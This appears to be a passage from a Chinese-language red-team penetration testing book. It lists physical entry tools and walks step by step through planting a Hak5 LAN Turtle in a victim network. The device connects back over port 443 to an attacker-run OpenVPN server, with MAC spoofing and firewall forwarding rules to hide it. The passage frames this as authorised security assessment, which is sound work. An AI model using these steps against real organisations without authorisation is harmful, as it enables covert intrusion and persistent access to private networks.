绕过入口点的物理工具
本书不会深入研究物理工具及其操作方法,因为纸上得来终觉浅,若要真正深入了解物理工具及其操作方法,实践是最好的老师。进行物理评估的最佳方法,一直都是实践、建立物理实验环境,搞清楚哪些方法可行,哪些不可行。我来盘点一下过去我们团队用过的一些很酷的工具:
- Lock Picks —— SouthOrd 公司生产的开锁工具一直是我们的首选。质量好,效果好。
- Gate Bypass Devices —— 用来绕过锁着的门的工具。
- Shove-it Tool —— 简单的工具,用于门和门闩之间有足够的空间的情况下。类似于贴卡打开感应门,你使用此工具拉开锁里的活塞。
- Under the Door 2.0 —— 拉开带有手柄的门的工具。我们可以用 Under the Door 工具从门下直接进去,绕着把手,然后往下拉。在过去酒店中经常会安装这种门,但我们肯定也会在业务中遇到这种门。
- Air Canisters —— 这是一个价格便宜又构造简单的工具,可以通过内部的运动传感器打开门锁。看看这段视频,看看 Samy Kamkar 如何绕过此类型的门: https://www.youtube.com/watch?v=xcA7iXSNmZE
记住,使用这些工具和物理评估的目的是跟踪并监控公司物理安全的问题,并得到反馈。因此,我们不仅要确保充分记录了系统中的缺陷,还要考察事件的响应时间和处理措施是否是可以接受的。
LAN Turtle
LAN Turtle 是我最喜欢的工具之一,由 Hak5 公司生产。前书中我们研究了如何把树莓派和 ODROID 作为攻击武器:给这些设备安装 Kali Linux 系统,让它们通过 SSH 或者 VPN 连接到我们的攻击者机器中,这是做物理渗透测试的一个好方法。
多年来,这些工具一直在不断进步。现在,LAN Turtle 小巧到可以藏在任何设备的后面,依赖 USB 供电,让用户难以轻易觉察。LAN Turtle 的 USB 网卡可代理以太网的所有流量。
LAN Turtle 还有一个无线蜂窝版(支持SIM卡),暂且不提。
设置 LAN Turtle: LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络存储在线网盘应用)。尽管它带有许多其他功能和应用程序工具,如自动连接 SSH、DNS 欺骗、meterpreter、ptunnel、script2email、urlsnarf、responder 等等,但红队使用的主要功能是“使用 LAN Turtle 获得进入网络的权限”。
过去,甚至在前几版书中,我们使用 SSH 反向代理 shell。这样通常管用,但对于更深入的扫描/复杂的攻击,我们需要完全访问网络。为此,我们必须配置反向的 VPN 连接。那么,怎样进行反向 VPN 连接?
是这样的,因为 LAN Turtle 会被插入入侵目标组织内网中的某个台式机的后面,所以我们不能直接连接到它。因此,我们将让 LAN Turtle 首先通过端口 443 外连到 VPN,然后作为服务器返回到我们的 OpenVPN 。从我们用来做攻击的 Kali 机器中,我们也必须登录进 VPN 服务器。一旦 LAN Turtle 和我们的攻击者机器都通过VPN 连接到我们的服务器中,我们就可以把流量从 LAN Turtle 转发到攻击机器来进行扫描或漏洞利用。
虽然 OpenVPN 反向代理通道不是什么新技术,但 Hak5 的团队在整合教程方面做得非常好。我不得不修改了以下一些命令,如果你想了解更多,请观看他们的 YouTube 视频:https://www.youtube.com/watch?v=b7qr0laM8kA 。
具体的使用步骤主要是以下三步:
- 在 Internet 上配置一个 OpenVPN 访问服务器(OpenVPN AS);
- 其次,配置 LAN Turtle ;
- 最后,配置攻击者机器 。
设置运行 OpenVPN 服务的 VPS :
- 我们要确保我们的 VPN 服务器对外提供服务。我们通常喜欢在 VPS 服务器提供商上托管我们的 VPN 服务器,因为它们非常容易和快速设置。提前警告一声,请向你的 VPS 提供商咨询,确保他们允许你搞事。
- 常见的 VPS 提供商有 Linode 和 Amazon Lightsail 。因为他们的 VPS 速度快、价格便宜且易于设置。AWS Lightsail VPS 就不错,选择它的另一个原因是:有许多攻击者都会采用 AWS 做攻击,躲在这些如洪水般的流量背后,受害者将更难以察觉是谁攻击他们的。
- 去 Lightsail.aws.amazon.com 创建一个新的 VPS
- 创建后,转到“管理”->“联网” 添加两个安全组设置 TCP 端口(443和943)
- 创建 VPS 服务器后,登录:
- 确保 chmod 600 你的 SSH 密钥并登录到你的服务器
- ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu@[IP]
- 通过 SSH 进入服务器之后
- 切换到 root 用户:
sudo su -
- 更新服务器:
apt-get update && apt-get upgrade
- 安装 OpenVPN AS。请点击此处查找最新版本
- 复制链接并下载到 VPS 。示例:
wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-ubuntu16.amd_64.deb
- 安装 OpenVPN AS:
dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb
- 删除当前配置文件并配置 OpenVPN :
- /usr/local/openvpn_as/bin/ovpn-init
- 安装过程中:
- 确保为所有接口设置管理员界面
- 将“通过内部数据库使用本地身份验证”设置为“是”
- 更新 OpenVPN 密码:
- passwd openvpn
- 将943端口的 IPTables 设置为仅允许来自你的网络的连接
- 切换到 root 用户:
设置 OpenVPN 服务器:
- 转到 https://[vps服务器的IP地址]:943/admin/
- 使用用户名 “openvpn” 和你刚刚设置的密码登录
- 如果使用的是 AWS Lightsail:
- 转到服务器网络设置,确保:主机名或IP地址是正确的公网 IP 地址,而不是私有 IP 地址
- 保存并更新
- 验证身份验证是否设置为本地:
- Authentication -> General -> Local -> Save Settings -> Update Server
- 创建两个启用了“允许自动登录”的用户(我创建的是
lanturtle
和redteam
):- User Management -> User Permissions
- 对于每个用户:
- 设置允许自动登录
- 确保为这两个用户都分别设置密码
- 对于 lanturtle 帐户,为了允许通过 VPN 连接,我们需要启用一些权限:
- 确保在用户权限选项下启用/配置:
- 所有服务端私有子网
- 所有其他的 VPN 客户端
- 确保在用户权限选项下启用/配置:
下载 OpenVPN 配置文件:
- 连接下载配置文件:
- https://[你的VPS]:943/?src=connect
- 对于每个用户( redteam 和 lanturtle )
- 登录并下载个人资料(自动登录配置文件)
- 分别保存为 turtle.ovpn 和 redteam.ovpn
设置 LAN Turtle 和初始配置:
- 插入 USB 并且自动连入网络
- nmap 扫描本地 22 端口
- nmap x.x.x.x/24 -p22 -T5 —open
- 通过 SSH 连接 root 用户(root@[ip]),密码为 sh3llz
- 更新你的 LAN TURTLE
- 更改 MAC 地址很重要。LAN Turtle 使用类似制造商的 MAC 地址,所以你要做些修改来确保你看起来像个随机的设备:
- 更改你的 MAC 地址
- 安装 OpenVPN :
- 选择 Modules -> Select -> Configure -> Directory ,然后点击确定
- 安装 OpenVPN
- 设置你的 OpenVPN 配置文件:
- 返回 Modules-> OpenVPN -> configure->粘贴所有来自 turtle.opvn 的内容并保存
- 我们还希望确保 LAN Turtle OpenVPN 服务器在服务器启动时自动开启运行:
- 选择 Modules-> OpenVPN ->Enable
- 最后,我们需要修改 LAN Turtle 上的防火墙规则:
- 退出 Turtle 菜单并编辑防火墙规则(使用 nano 文本编辑器编辑 /etc/config/firewall 文件)
- nano /etc/config/firewall
- 接着,在文件中修改 vpn 这一部分的设置
- 确保“option forward”设置为“ACCEPT”
- 添加以下配置转发规则:
- 退出 Turtle 菜单并编辑防火墙规则(使用 nano 文本编辑器编辑 /etc/config/firewall 文件)
- 配置转发
- option src wan
- option dest lan
- 配置转发
- option src vpn
- option dest wan
- 配置转发
- option src wan
- option dest vpn
- 重新回到 Turtle 菜单 -> Modules -> openvpn -> start
- 上面的操作应该会启动我们的 Turtle 上的 OpenVPN 客户端。为了确保设置生效,回到我们的 OpenVPN AS 服务器并检查连接。
我们现在已经配置了 LAN Turtle,这样每当它连接到一个网络时,它就会回连到我们的 VPN 服务器。并且我们可以通过 SSH 连进 LAN Turtle 了。让我们通过一个例子来感受一下这个过程:
从 Kali 攻击主机访问 VPN 服务器:
- openvpn -config ./redteam.ovpn
获取对方所在网络的IP地址,以便从我们的 redteam vpn 传输所有流量。
- SSH 进入 LAN Turtle
- 退出 Turtle 菜单,获取受害者网络内部接口(ifconfig)的 IP 地址。根据 IP 和 BCAST(广播地址)计算出 IP 范围。在我们的示例中,Turtle 所在的网络是 10.100.100.0/24
最后,开启流量转发:
- 返回 OpenVPN AS并编辑
lanturtle
这个用户 - 用户权限(User Permissions)页面->搜索用户名 lanturtle->显示
- 将 VPN 网关编辑为“是”并添加内部范围(例如 10.100.100.0/24)
- 保存并更新
- 返回 OpenVPN AS并编辑
- 通过 LAN Turtle 上的 SSH 连接,使用
reboot
命令重启
现在,我们可以让攻击机透过在 LAN Turtle 上架设的 VPN 通道,将我们的所有流量传输到受害者公司内网。在下图中,我们登录进入 VPN 服务器,扫描 LAN Turtle 的范围为 10.100.100.0/24 的内部网络。我们可以看到,我们已经成功地配置了从 VPN 网关通过 LAN Turtle 到公司网络的路由传输。现在,在 Kali 攻击机上面,可以运行完整的漏洞扫描、网络抓取、Masscans 扫描甚至更多其他操作。
好的!现在你有了一个快速插入的设备,它让你与受害者网络保持全局连接。为了做的更好,还可以完善一下:
- 设置一个每天重启设备的定时任务。VPN 隧道连接可能会断开,但每当 LAN Turtle 重新启动时,VPN 连接会重新启动。
- 某些公司封锁了某些可通往外网的端口。在本例中,我们使用了443端口,在许多环境中,这个端口可以和外网通信。对于使用 Web 代理的某些公司网络,可能会阻止通过 443 端口直接连接外网。可能需要配置 LAN Turtle ,以在启动连接时,自动尝试多个不同的端口或协议(TCP/UDP)。
- 如果要安装两个或更多设备,请确保这些设备的 VPN 服务器和 MAC 地址是不一样的。曾有几个真实的案例,我们的设备几乎在每次入侵时都被发现了,然而这完全是偶然事。原因是 IT 基础设施正在被移动或者更换了计算机。